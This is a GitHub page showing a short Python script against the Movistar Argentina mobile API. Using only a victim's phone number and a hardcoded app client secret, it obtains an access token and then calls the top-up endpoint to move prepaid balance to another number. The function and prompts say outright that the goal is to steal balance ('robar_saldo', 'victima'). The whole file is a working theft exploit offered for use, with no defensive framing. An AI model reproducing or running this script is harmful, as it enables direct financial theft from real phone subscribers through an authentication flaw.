Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
74 lines (52 sloc) 1.58 KB
#!/usr/bin/env python3
import requests
MOVISTAR_API_ROOT = "https://mi.movistar.com.ar/"
def get_token(numero):
headers = {
"x-requested-with": "com.services.movistar.ar",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"grant_type": "mobile",
"username": numero,
"client_id": "appcontainer",
"client_secret": "YXBwY29udGFpbmVy"
}
r = requests.post(
url=MOVISTAR_API_ROOT + "oauth/token",
headers=headers,
data=data
)
if r.status_code == requests.codes.ok:
parsed_response = r.json()
token = parsed_response["access_token"]
print("Token: %s" % token)
return token
else:
print("Error 1")
def robar_saldo(token, saldo, destino):
headers = {
"Authorization": "Bearer %s" % token,
"Content-Type": "application/json"
}
body = {
'amount': saldo,
'destination': destino
}
url = MOVISTAR_API_ROOT + "v1/recarga/cargamesaldo"
print("Posting request to: %s" % url)
r = requests.post(url,
headers=headers,
json=body)
print("Response: %s" % r.json())
def main():
telefono = input("Ingrese el numero de telefono victima: ")
destino = input("Ingrese el numero de telefono destino: ")
saldo = input("Ingrese el saldo a robar: ")
try:
token = get_token(telefono)
robar_saldo(token, saldo, destino)
except:
print("Error al robar $%i de %i" % (saldo, telefono))
if __name__ == "__main__":
main()